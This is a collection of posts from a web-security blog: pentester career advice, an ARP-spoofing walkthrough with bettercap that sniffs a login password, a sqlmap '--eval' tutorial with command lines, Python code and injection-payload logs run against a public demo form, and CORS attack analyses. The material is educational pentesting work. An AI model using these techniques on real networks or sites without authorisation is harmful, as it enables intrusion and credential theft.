Reading view

There are new articles available, click to refresh the page.

How to become a web pentester

I spent quite some time trying to figure out the answer to this question when I created my online training with the clever title “Web Hacking: Become a Web Pentester“. In this post I will try to summarize what I learnt when I looked at my own career and what we look at when we hire new people to my team.


Since this post is about ‘how to become a web pentester‘ first I wanted to give an overview of the process that I find most efficient:

  1. Establish a security mindset
  2. Acquire technical knowledge
  3. Learn attack techniques
  4. Acquire social skills
  5. Create proof-of-knowledge

Let’s go through these points one by one.

Security Mindset

One thing that is probably more important then the technical knowledge is what I call here ‘security mindset’. This is a point of view or way of thinking. Most of the people that work in IT security don’t necessarily have technical knowledge, but they have a security mindset. This means that they can look at systems, and more broadly the world, in a critical way that helps identify things that can go wrong or can be maliciously exploited.

I originally worked as a normal software tester, and if you read any book about testing, it will have a chapter called the “Psychology of Testing”. This chapter will tell you that while a developer’s goal is to write good code, the tester’s goal must not be to prove that the code is bug free. The tester’s goal must be to find bugs. Because if he tries to prove that the code does not have bugs, then he will never have success. The tester must train himself to be happy when he finds a bug. Because otherwise he will unconsciously not test things that might actually fail. This is, for instance, why developers shouldn’t test their own code, because they want it to work. But the tester wants it to break, so they will test the code with the meanest tests.

This is the same with security but instead of just focusing on functionality problems one needs to keep security in mind. How could this system be cheated? How can be a protection bypassed? What data is confidential and how can I access it? Etc. You need to develop this constant assessing mindset where you always look for things that could go wrong.

How to learn it:

You can consciously train your mind for this. Wherever you go in the world try to look for security weaknesses. It doesn’t have to be computer systems, it could be anything, for instance:

  • You fly somewhere and pay attention whether your identity is checked at all while you get to the plane. Sometimes they check you many times but only your boarding pass and never your ID.
  • You go to concert and you notice that there is a door where nobody checks the ticket.
  • When you go to a cinema your ticket is checked but not invalidated, so with 2 tickets you could bring in as many people as you want.


Obviously big part of pentesting is technical skills. However this is something that you will never stop learning. There will be always new tools, new frameworks. I think the goal here is to get the basics and keep developing yourself as you work. Here is what I think is the basics:

  • HTTP: You need to understand the HTTP protocol, how requests are sent to the server and how responses are sent back. Fortunately HTTP is fairly simple so this shouldn’t be difficult.
  • SSL: since it is used in HTTPS, it is good if you understand how it works. On an average pentest you don’t have to do too much with SSL but it is necessary to know what that is.
  • Web applications: you need to have a general understanding about how web applications work. I recommend to look into PHP, because that is a pretty traditional way of programming web applications, and look into MVC frameworks such as django or Ruby on Rails, which are rather the more modern way. I don’t think you need to be a web developer to be a good pentester, but you need to be able to imagine what could be happening on the server when you test the application.
  • Browsers: you need to have a basic understanding how browsers work, because that is one half of the attack surface. Here I mean things like, how pages are rendered, how cookies work, how the Same Origin Policy works, etc..
  • JavaScript: 99% of web applications use JS to some degree. So it is necessary to understand how it is used in the browser (i.e., XMLHttpRequest) and at least be able to read JS code and debug it in the browser.
  • Networking: for pure web testing you don’t necessary need a deep understanding of the underlying network stack (TCP/IP), but it is a plus for sure.
  • HTML: since it is still the base of all web pages HTML is pretty essential to understand.

What I listed here is the minimum, or the core of what you need to know. The stronger your IT knowledge is the better. And as pentester you need to be ready to learn about any exotic corner of IT.

Attack Techniques

Of course you will have to know the basic attack techniques. Partly because they are the first you need to check in every app, and also because they help you understand how attacks work which will be good when you start building your own attacks. I think the OWASP Testing Guide or at least the OWASP Top 10 is a really good starting point. Here is a must know list:

  • Cross-site scripting
  • Cross -site request forgery
  • Direct URL access
  • Session hijacking
  • SQL injection

This list might seem short but as I said this is the must. Also the first thing you do when you start testing an application should be to research the technology in use whether there are documented attack techniques against it. This way you will build up your arsenal pretty fast.

Practice, practice, practice

The best way to acquire knowledge is to challenge yourself, and the challenges will force you to learn. This means that independently from your skill level you should always practice. It is like learning a language, you shouldn’t wait with speaking to people until you feel that you are perfect (mostly because that never happens), but you should rather start talking and practicing from the very beginning.

Fortunately there are a lots of ways nowadays to practice hacking (without legal problems):

Social Skills

Whether you are a hard core nerd or not (I am pretty introvert myself), you need to understand that a pentester is a consultant. Usually you will have ‘Consultant’ on your business card instead of ‘Pentester’ anyway. What this means is that you will need to be able to effectively communicate with your customers. There are two main things you need to focus on:

  1. Report: this is really important. The single output of your work is the pentest report. You could be the most l33t hacker on the world, if your report is crap then your customer will think that your work is crap. So your report needs to be very clear, objective, and easy to understand. Don’t misunderstand me, everybody hates report writing, but it is a very important part of the job.
  2. Communication with the customer: you will have to do some verbal and written communication with the costumer before, during, and after the pentest. You will mostly talk with management, because they are the people who pay you, so you need to be able to explain everything to people who are not necessarily technical people. You will also need to talk to the developers and explain them your findings, without offending them.


In my point of view the most important thing when you are looking for a job is to be able to prove that you actually know what you say you know. Yes the work experience and jobs look great on your CV and that might pique the attention of the recruiter, but whether you are chosen or not depends on how well you can show what you know. A great way to do this is to document whatever you do. So when you do any of the things I recommended in the ‘Practice, practice, practice‘ section find a way to document it. Here are some ideas:

  • Write a blog about the things that were interesting
  • Create youtube videos about your hacks
  • If you code anything upload it to github

You can put all these on your CV, it will show more about your knowledge as the highschool where you went.


Let me just list here a couple of resources that could be useful.


There is only one tool, which I find absolutely essential for web testing, and that is the Burp Suite. For the rest I don’t think it makes sense that I write my own list here when there is already awesome tool lists out there. Check this out and scroll to the web part (you will also find other great resources here):


I think web pentesting is not rocket science and it is a great way to get into hacking. I wrote another post about why to get into web pentesting there I explain the details. But the point is to start learning and practicing. The learning will never be over but you can start working pretty fast.

It is great if you read the whole article, let me know what you think. What was or what is your experience in becoming a web pentester? Let me know in the comments.

Why learn web pentesting

I get the question a lot, how to get into pentesting. I think the shortest way to do that is through web pentesting and in this post I will explain why do I think that.

I have three main reasons why I think learning web assessment is the fastest way to get into the pentesting business:

1) Web is everywhere.

I don’t know whether you noticed but more or less everything has a web interface. And I am not talking about the normal web applications on the Internet, which by the way would still provide enough work for all current pentesters for their lifetime. I also mean IoT and embedded devices. Have you noticed for instance that when you withdraw money from an ATM it gives you the same clicking sound as old Internet Explorers. They do that because they run old Internet Explorers :). So they are basically web applications running in an ATM looking box. Also basically 99 % of embedded devices have a web interface. Like trains, cars, home control systems, your fridge, etc…

2) Market demand

The most trivial attack surface of a product or company is their website and there were quite a few hyped attacks in the past couple of years. So when you ask somebody what they would protect first, they would say that their website. All these built up an acceptable level of security aweraness in the web world. This is still lacking for instance in the embedded or control system world. These led to a very high market demand for web assessments. I think right now it is very difficult to find a pentesting job where you wouldn’t do web assessments. Even if you do a network assessment, you will find web application in the network that you will need to test. Most of the consulting companies have around 80% web assessments.

3) The “easiest” to learn

Compared to the other fields of security assessments, web is a very pentester friendly topic. Starting with the fact that HTTP is a plain text protocol. It is much easier and faster to manipulate general web application traffic then some weird proprietary protocol. Also easier then reversing a binary and exploiting a buffer overflow. Although these are also super interesting topics, I only say that web is the easiest to learn.

Probably there are hundreds of other reasons why to learn web pentesting, but I think these are the most significant. And with that let me elegantly change the topic to promote my own course. Ohh, did I just say that out loud. Damn. Anyways, you knew already that I was working on it. So I created a full blown web hacking course cleverly called Web Hacking – Become a Web Pentester. Check it out, there is a Promo video where I explain everything and there are quite a few preview lecture that anybody can watch. The normal price is $180, but for my readers I created a coupon code the give you the course for %50 off. So use the following link:

or the use the coupon code:

Otherwise let me know what you think about web pentesting.

Intro to ARP spoofing with bettercap

I recently discovered a fairly new man-in-the-middle tool called bettercap, which I will test in this video. I will explain the concept of ARP spoofing, install bettercap, and see how one can use it to sniff passwords on a network.

Here it is:

If you liked it, checkout my other trainings:

If you need here is the full transcript of the video:

Hello there. My name is Gergely Revay or Geri. Today I’m gonna talk about bettercap. This is a new tool I found recently and it got my attention because it’s a man in the middle tool. And we talk about man in the middle attacks all the time like in an assessment when we say it’s bad to send stuff unencrypted on the network because a man in the middle attacker can then sniff your network and find out your passwords or anything. When I found this tool, I thought this would be a good opportunity to play a little bit with man in the middle attacks. So what I’m gonna do today is introduce bettercap, talk a little bit about network sniffing and ARP poisoning for those people who don’t really know what that is and how it works, and then we’ll install and try bettercap, the basic features. We’ll sniff network a little bit to find some passwords and talk about what bettercap is capable of.

So let’s start with the installation. So you can see here already, I have the bettercap website on my screen. And basically the installation is not that difficult because you can just use Ruby GEM to install. Bettercap is actually a full Ruby application and you can extend it in Ruby. So it’s good for you if you know Ruby well. Now, the installation is also documented in the website so you can check it out and also do it yourself. So let’s go to a terminal. First, I’m gonna install the dependencies, which some of it is already installed in Kali but I’m not gonna check exactly and just go on with the installation. And then it’s build essential Ruby development packages and libpcap for manipulating traffic. Yeah. So now we have the dependencies. Then let’s get on with the installation of bettercap. And it’s gem install bettercap. It’s gonna take a little bit so just be patient. Okay, the installation is ready so let’s see if we can execute it. Yes. So that’s how it works. That’s a good start.

Now, before I start getting into bettercap, I will just explain quickly how this network sniffing works, how ARP poisoning works, etc. For that, let me draw for you. So what happens here, I’m gonna use two computers, the Kali what you’ve seen and a Windows 8 machine. These are both virtual machines and they’re both on the same network. So what it essentially means is that we have Internet there. And then I have a router here. I have here my Kali and I have here my victim. So normally the victim communicates with the router directly and then that goes to the Internet.That goal that we want to reach is that this communication goes to Kali and then to the router. Now, bettercap offers different methods to do this. What we are gonna use is ARP poisoning, which means that Kali has a MAC address here. It’s called MAC K, let’s call it this way. He has a MAC V, and this has a MAC R. So these are normal MAC addresses that you already know. When the victim wants to go to the Internet, he has to first send the packets to the router. So what he will ask, he will know the IP address of the router, but he wants to find out what the MAC address for that IP address so that he can send the packet. He will ask the network what is the MAC address for that particular IP address.
Now, what bettercap does is whenever such a request happens, then he will always respond hopefully as the first responder. He always say that my MAC address is for that IP. So whenever the victim or the router or anybody else on this network asks for IP address or asks for the MAC address of an IP address, our attacker with bettercap will always say that my MAC address is related to this IP address. That way, basically, the victim is gonna think that on the network he has to send his packet first here because he will think that this is the router and then bettercap will relay this packet to the router but also when a packet comes back, the router will also think — because he will also request a MAC address – he will also think that Kali or bettercap is the victim. And then Kali will just relay again the packet to the victim. So we basically reached our goal here. Because of this ARP spoofing or ARP poisoning, all packets will cross our Kali machine through bettercap and then from this point on, basically bettercap is able to do whatever he wants with those packets. Bettercap also offers different tools to do different things with the traffic, but what we’re gonna try is just to look at the traffic find valuable information like passwords. So I hope that’s clear now, and I will just move on to working with bettercap and see how we can actually do a man in the middle attack.

So let’s look at our target first or our victim. So what I’m gonna try to do is to try to intercept the traffic of this victim. We are gonna try to intercept the HTTP traffic to a particular website is I chose this website mostly because I don’t use tis application. So we can login here. I will just do it first as a normal user, and then we will try to intercept that again with bettercap. So the user is [email protected]. This is my old website. Okay, you see I successfully logged in. Now we’re gonna try to intercept the same thing with bettercap. So I’ll log out, even close my browser.

So now what we have to do is to come back to Kali and start bettercap with the proper configuration to do the spoofing for us. So first we need bettercap. And then we want to sniff the network so we use the sniffer. And then as I said, you can use different techniques for spoofing. The default is the ARP spoofing, but I will specify it here anyway so you just have it on the comment line. And since we are gonna work with HTTP and HTTPS traffic probably, I will use the HTTP and HTTPS proxies offered by bettercap. And for that, you say proxy http and minus minus proxy https. And there are different parsers in bettercap. What I’m gonna use now is the custom parser. And I will look for something like “password” in the traffic. And then we hope that the password for is gonna be called by bettercap.

So let’s start the sniffing. What you see here is that bettercap started. First it tries to figure out the targets on the networks so which one is the gateway, which one’s on the other machine on the network so that he can spoof these machines on the network. Because we chose the HTTPS proxy, it will also generate a certificate for itself to try to avoid recognition. Of course, this is not a real valid certificate. It’s a fake, but it could be useful. So let’s go back to the victim’s machine. Let’s load Cheezburger. Now you see there are already lots of things happening here. You see all this content because that’s HTTP and that’s what we are looking for. You can also see that it’s from many different places. The thing is that the website is just full of different content from different websites so that’s why the requests go to basically everywhere all around the Internet and not only to

Let’s try to login. So the user is [email protected]. Okay, and I will just quickly change back to Kali. Again, lots of things happened. Let’s just try to find our password. This looks interesting. This is a GET request to the LoginOrRegister service. And if you look through for the password, whatever, whatever, oh, here is, this is the e-mail address. So this is username. And oh, what we can see here is the password, and this is actually the password I used. So it worked out. Of course, you know, you have to really look at the traffic. Scroll here, scroll there, but it worked.

Another thing that I would like to mention is that originally I actually wanted to spoof HTTPS traffic, and I started to play with Cheezburger. And it turned out that it uses just HTTP so this password is not even encrypted on the network which is general bad. But yeah, it’s so I didn’t have really high expectations. But the point is that our network spoofing was successful. We were able to attract all traffic between the router and the victim computer to Kali, to bettercap. We were able to actually sniff the password of the user during the login. So that’s very good. That was our goal.

One really important thing is that when you close bettercap, you need to gracefully exit which is implemented when you do Ctrl+C because the thing is that ARP poisoning is actually poisoning the ARP cache of the other computers so before you exit, you have to change back the MAC addresses of their caches to the original one. Otherwise, the network will just die for some time until they figure out that the MAC address in the cache is wrong and then request for new MAC addresses. So it’s always important if you do ARP poisoning that you gracefully exit from the tool.

Another thing that I would like to mention is that bettercap is trying to be extensible. So
if you come here to the library and you look around a little bit, then you will see everything that you could use is here and you can start implementing your old things. You can start to implement your own proxy to do like portable things with the request like change the content of the request or change the content of the response automatically so then you don’t have to like look in the logs to find the password. You can just done the password for yourself automatically or you can manipulate every response so that the user sees something else. So there are lots of possibilities here. And I think @evilsocket, the guy who writes bettercap, he did a really good job here. So if you find this interesting, you can start playing with bettercap as well. If you do something cool like write your own proxy tool or any kind of extension, then let me know or comment here so that everybody knows that there’s something new here. Or if you discover something interesting, also just comment on this post. That’s it. I was Geri Revay from Aether Security Labs and take care. Keep hacking. Ciao.

The free Burp Suite training is ready

I have been working on an online Burp Suite training for quite some time. It is finally ready.

It is based on the live Burp Suite workshop I held on conferences and for local meetup groups. You will get to know every module of the free edition of Burp and you will be able to try everything yourself with the WebGoat vulnerable web application. The course covers everything from setting up the test environment to trying most of the functionalities of Burp. It was also reviewed by Portswigger, the company behind Burp and they also mention it on their trainings site, so I guess they approve :). So check it out and don’t hesitate to give me feedback:

Advanced sqlmap features – eval

I was always sad when I couldn’t use sqlmap when the injection was not very simple. Of course I always expected that to be my fault, that I didn’t spent enough time to configure sqlmap properly. So the other day when I tested an application and found an sql injection which was a pain in the neck to exploit manually, I rolled up my sleeves and started to look at source code of sqlmap to figure out some parameters which I never knew what they did. This blog post is about the --eval parameter which allows you to manipulate the requests before sending them.

If you look at the sqlmap help, it says the following about --eval:

    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

This sounds pretty good, but I still had no idea what you can do with it exactly. A good way to find that out is to do a little debugging. If you look at the sqlmap\lib\core\ method you will see the following:

def evaluateCode(code, variables=None):
    Executes given python code given in a string form
        exec(code, variables)
    except KeyboardInterrupt:
    except Exception, ex:
        errMsg = "an error occurred while evaluating provided code ('%s'). " % ex
        raise SqlmapGenericException(errMsg)

This means that your given code is executed with the exec() method. I still didn’t know though,what would be there inside this exec. I wanted to know what can I access and alter with my input code. For the examples here, I am gonna use the form in a W3C example (, and I will also add some parameters, which are not really existing but it still shows how sqlmap works. So my test request is the following, which is saved in the w3c_post.txt:

POST /tags/demo_form.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=119627022.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjoCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31


I added the Serial parameter, because that is gonna be our test scenario. Many applications use serial numbers in requests, and go to an error state if the serial is wrong. That is a huge bummer when you automate testing because you always have to increment this parameter. That is what we are gonna do with sqlmap. So our goal is to get sqlmap to send the attack request always with an incremented serial number.

But first lets debug a bit more. The best way I found to check the possibilies of --eval is to break with a debugger inside the exec(). You can do that with ipdb (if you don’t have it installed: pip install ipdb). So start sqlmap with the following configuration:

PS H:\My Documents\testing\sqlmapproject-sqlmap-33b6d18> python.exe .\ -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="import ipdb; ipdb.set_trace()"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused
by this program

[*] starting at 10:46:14

[10:46:14] [DEBUG] cleaning up configuration parameters
[10:46:14] [DEBUG] parsing targets list from '.\w3c_post.txt'
[10:46:14] [DEBUG] not a valid WebScarab log data
[10:46:14] [INFO] sqlmap parsed 1 (parameter unique) requests from the targets list ready to be tested
[10:46:14] [DEBUG] setting the HTTP timeout
[10:46:14] [DEBUG] setting the HTTP method to GET
[10:46:14] [DEBUG] creating HTTP requests opener object
[10:46:14] [DEBUG] initializing the knowledge base
URL 1:
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=119627022.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjoCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
POST data: FirstName=Mickey&LastName=Mouse&Serial=1
do you want to test this URL? [Y/n/q]
[10:46:17] [INFO] testing URL ''
[10:46:17] [INFO] using 'C:\Users\z003am9f\.sqlmap\output\results-07182014_1046am.csv' as the CSV results file in multiple targets mode
[10:46:18] [INFO] testing connection to the target URL
> <string>(1)<module>()


As you see ipdb broke, and we have a debugging shell inside the exec(). Now the best way to look around is to run locals() to see what is available in that environment. I won’t show that because it is a huge structure, however what you should see hidden between random variables is the POST parameters from your request:

ipdb> print FirstName
ipdb> print LastName
ipdb> print Serial

This is a great thing, because it means that you can directly manipulate the POST parameters from your python code. Now what we need to do is to write a python code which increments the Serial variable. Since I didn’t know how to save state inside python, I went in the hard way and saved the serial counter in a file. The not-too-sophisticated code to do that is:

f = open("cnt.txt","r+")
Serial = int(f.readline()),0)

It opens the file where the serial number is stored, updates the Serial variable, and increments the number in the file. So let’s try it with sqlmap (note: be careful with the quotes in your python code):

$ python.exe .\ -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="f = open('cnt.txt','r+'); Serial = int(f.readline());,0); f.write(str(Serial+1)); f.close()"

In the following snippet from the logs you can clearly see that the Serial was always properly incremented:

[11:16:09] [PAYLOAD] Mickey') AND 8899=1627
[11:16:09] [TRAFFIC OUT] HTTP request [#10]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 67
Connection: close


[11:16:09] [TRAFFIC IN] HTTP response [#10] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 3958=8005
[11:16:09] [TRAFFIC OUT] HTTP request [#11]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close


[11:16:09] [TRAFFIC IN] HTTP response [#11] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 7730=7730
[11:16:09] [TRAFFIC OUT] HTTP request [#12]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close


With that we’ve reached our goal.

To go a bit further, I would like to add a more complicated example where you could see the real power in this feature. In my test, the new serial number was always embedded in the last response. The problem was that sometimes the system broke and my serials went out of sync. So I decided that it would be better to send a useless request to get a fresh serial number and use that in the attack request. Of course it slows down the test because it doubles the number of requests, but on the other hand it goes in the direction of beating CSRF protections, which could be also really useful.

The following code creates a method which is responsible to get the newest serial number:

#!/usr/bin/env python
import httplib
from StringIO import StringIO
import gzip
from lxml import html

def getSerial():
     conn = httplib.HTTPSConnection("")
     headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
     "Accept-Language": "en-US,en;q=0.5",
     "Accept-Encoding": "gzip, deflate",
     "Referer": "",
     "Connection": "keep-alive"}
     conn.request("GET", "/tags/demo_form.asp", None, headers)
     resp = conn.getresponse()
     buffer = StringIO(
     deflatedContent = gzip.GzipFile(fileobj=buffer)
     content_text =
     content_tree = html.fromstring(content_text)
     serial_number = content_tree.xpath('//input[@name="Serial"]/@value')

     return serial_number[0]

Note that this is not gonna work because W3C doesn’t replies with a serial number, it is a mere example.

In the getSerial() method, we open a connection to the target server, set up the headers, send the request. Since the response was compressed in my case, it had to be decompressed and parsed to retrieve the new Serial.

This code was saved in the, thus it could be used as a library in the --eval:

python.exe .\ -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="import increment; Serial=increment.getSerial()"

As I said, this is not a working example, but I think you can see the potential in it.

So that is about scripting sqlmap so far, have fun with it.

Review: Build a Network Application with Node video tutorial

I have been asked to review Joe Stanco’s Build a Network Application with Node video tutorial. So let’s see.



So first of all let’s see what you get. This is a Node.js video tutorial. To get a glimpse you can watch the example chapter on Youtube, here. From the format point of view, you get a web UI to watch the videos, which you can either do on-line or off-line. For instance I was watching it on the train to Vienna, so it works very well off-line. The tutorial is organized in 1-3 minutes videos. This can be useful if you want to revisit a topic later, however, it is a bit annoying when you watch it for the first time. The only problem is that the next video is not loaded automatically, hence you always have to minimise the video, click the next chapter and then click play. This is still ok, but it could be better.


I won’t copy-paste the TOC, you can find it here. I think the covered topics are pretty goodm if you are a beginner in Node. The videos are also quiet good, very few slides, mostly code, terminal, and browser which fits to my taste :), however the code is not written in live, but copy-pasted which makes it for me and bit more difficult to follow, because I had to pause the video often to actually have time to read through the inserted code. It is at least better then, if it would be too slow and you have to wait for the video. Another annoying thing, in the UI, is that you cannot pause the video with the spacebar (which I think should be default for every media player).

Regarding the topics, as a rule-of-thumb you could say that for every mentioned topic it explained how to install, configure it, and one example is shown. If you already have this experience with any of the topic, you probably won’t learn anything new.

The narrator, to be honest I don’t know whether it is Joe Stanco or not, speaks clearly. The script of the course is clearly well prepared which has advantages and disadvantages. Good part is that is really clear and exact, bad is that it lacks fun and humour and most things are only defined exactly once. Which means if you don’t understand something from one sentence then you won’t have another chance. But this also makes the course shorter and not redundant.

Although the course doesn’t include exercises, the code of the examples are available, so you can try them out and play with them.


Since I work in security I must take that in consideration as well. The course doesn’t talk about security at all, which makes me a bit sad. Of course you could say that this is not an advanced course and IT security is more complicated than that, however in my opinion security should be discussed on every level, at least so that the reader will be aware of the threats and that he has to deal with security. I think most of the people who will take this tutorial will start to write applications without taking any advanced course where security would be discussed, thus, they will be probably writing insecure applications as long as they get hacked or somebody tells them to take security seriously. That is why I think that no introductory course should exist without mentioning security.


  • Topics are good.
  • Example code is available.
  • Faster way to get to know Node, then reading a book.
  • Script is well written.
  • More code, less slides.
  • Explanations are mostly clear.


  • No automatic jump to next video.
  • No pause on spacebar.
  • Everything explained only once.
  • No excercises.


I think this is a good course if you already know JavaScript but you are new to Node.js. Have fun with it if you decide to take it.

CORS: Attack scenarios

I was preparing myself for the Hacktivity conference in Budapest, where I talked about the security of the Cross-Origin Resource Sharing (CORS). As part of the preparation I summarised my thoughts in a couple of blog posts. This is one of them.

As a follow up of my previous post, I would like to continue with the short analysis of the threats and attack scenarios which could exploit CORS.

There are a few things to consider here. First, that CORS is not broken. It is just a feature that can support other already existing attacks to exploit other vulnerabilities. From penetration tester point of view CORS is rather a tool, then a vulnerability. Second, the most important property in CORS is that it allows you some kind of pass through the same-origin policy with a handful of limitations.

First let’s see the possible attacks from three different perspectives:

  • Goal of the attack
  • Target’s location
  • Type of attack

1) Goal of the attack

To start off with, it is worth to understand what kind of goals can an attacker have in mind.

Exploit Cross-Site Request Forgery

The most critical problem that an attacker can exploit with CORS is the Cross-Site Request Forgery(CSRF). The main reason for that is that, with CORS the attacker can send a complex set of requests to the server even with session cookies. For instance before CORS it was a bit difficult to order a product as the CSRF attack if the order process was multistage. In that case the attacker had to submit multiple forms to send the correct requests, however, with CORS it is possible to implement the whole attack in JavaScript and when the user loads the attacker’s malicious website the JavaScript can immediately start to send requests to the target.

Another important aspect is the file upload CSRF. I have already written about that here, so I won’t go into details, however, the point is that before CORS it was not possible to upload files through CSRF because of the ‘filename’ attribute in the request. But now it is possible because JavaScript can be used to build the request.

Interact with the internal network

If the user loads the attacker’s website in the company network, that essentially means that the attacker can execute code in the internal network. Of course some pretty strong limitations apply, which I will describe in the ‘Limitations’ part. So in this case the attacker can use CORS to try to explore the network, find well known service, try to do simple scanning etc.., or simply attack a known internal service which he has no access to.

2) Target’s location

Another important aspect of attacks is the location of the target. Here when we say ‘target’, then the target service is meant, so not the user who loads the malicious content but the service, which the hacker wants to attack through CORS.

Attacking services on the Internet

This is pretty straightforward. The attacker wants to attack a service which runs publicly on the Internet, however, he wants to access some restricted content, or he wants to do it in the name of somebody else. He can setup a malicious page, trick the user to load it and when he does, the page can interact with the target service from the user’s browser. An (imaginary) example would be the following: let’s assume that Facebook has a CSRF vulnerability in the share functionality. When the innocent user opens the malicious website, the JavaScript on it send a request to Facebook to share something (which complies with the attacker’s goal) on the user’s wall. Because of CORS the JavaScript can do that and with the ‘withcredentials’ XmlHttpRequest attribute the script can access the authenticated session of the user.

Attacking internal services

In the second part the attacker uses CORS and the user’s browser as a pivot point to get access to the internal (company) network. When the user loads the attacker’s malicious page the JavaScript will be able to access services, which are not accessible for the attacker from the Internet.

3) Direct vs Indirect

Direct attack against services

I wanted to mention this case, because it might seem trivial, but still there are many people doing such mistakes because they misunderstand CORS. So the problem is that some people considers CORS as some kind of authorization mechanism. This is coming from the fact that if you send an XmlHttpRequest and the server rejects your CORS the response data will be not available for the JavaScript. What they forget is that the data is still sent to the client and the browser decides based on the response’s Allow-Origin-* headers whether to allow it to the JavaScript or not. Unfortunately this solutions fails terribly when the client happens to be a script or a netcat running in the terminal. So when I write direct attack, I mean that the attacker connects directly to the service and not through the browser of some other user.

Indirect attacks

The indirect attacks are the traditional client side attacks, when the malicious code is injected in a website, that has to be loaded by the user. When the page is loaded the malicious code attacks the target service from the user’s client.

4) Limitations

As mentioned before there are pretty strong limitations when using CORS.

Write only requests

Often when the service is well configured or not configured at all, the response will not be readable for the JavaScript. For instance if the HTTP response has no Access-Control-Allow-Origin header, then , although all data were sent to the client, the JavaScript will not be able to access it. This means that requests can be sent to the server and the requested actions will be executed (hence the write only), but the JavaScript won’t be able to read the responses. This will stop the attacker to first request a form on the website to read the CSRF-protection-token and then submit the form with the token, because it won’t be able to read the response.

withCredentials vs. Access-Control-Allow-Origin: *

This is an interesting limitation which is actually quite smart. If you send a request with credentials and the server responds with Access-Control-Allow-Origin: *, which allows every domain, then you will not see the response content from JavaScript. The reason is that the ‘withCredentials’ cannot be used if all origins are allowed. This is the last line of defense against CSRF. If you could read the response, that would break the 99% of CSRF protections, because you could first load a page with you credentials, steal the CSRF token, then do a CSRF with the token.

5) Summary

Although these different perspectives are a little redundant, but all the different attack scenarios can be built from the combination of them.

Since this is only my quick analysis, if you have other ideas to the topic let me know.

CORS: Attacker Model

I am preparing myself for the Hacktivity conference in Budapest, where I am gonna talk about the security of the Cross-Origin Resource Sharing (CORS). As part of the preparation I will summarise my thoughts in a couple of blog posts.

To start off with I will describe the potential attackers who could try to use CORS in their attacks and I will build an attacker model.

First let’s look at the architecture where CORS is relevant.

CORS: attack environment

CORS: attack environment

It can be seen on the picture that the attacker has control of at least one server. Of course this server could be in the internal network, however, this way the model is more general. The target can be either in the intranet or in the Internet, which brings us to the first differentiation point: the attacker’s knowledge about the internal network.

1) Knowledge

Internal attacker

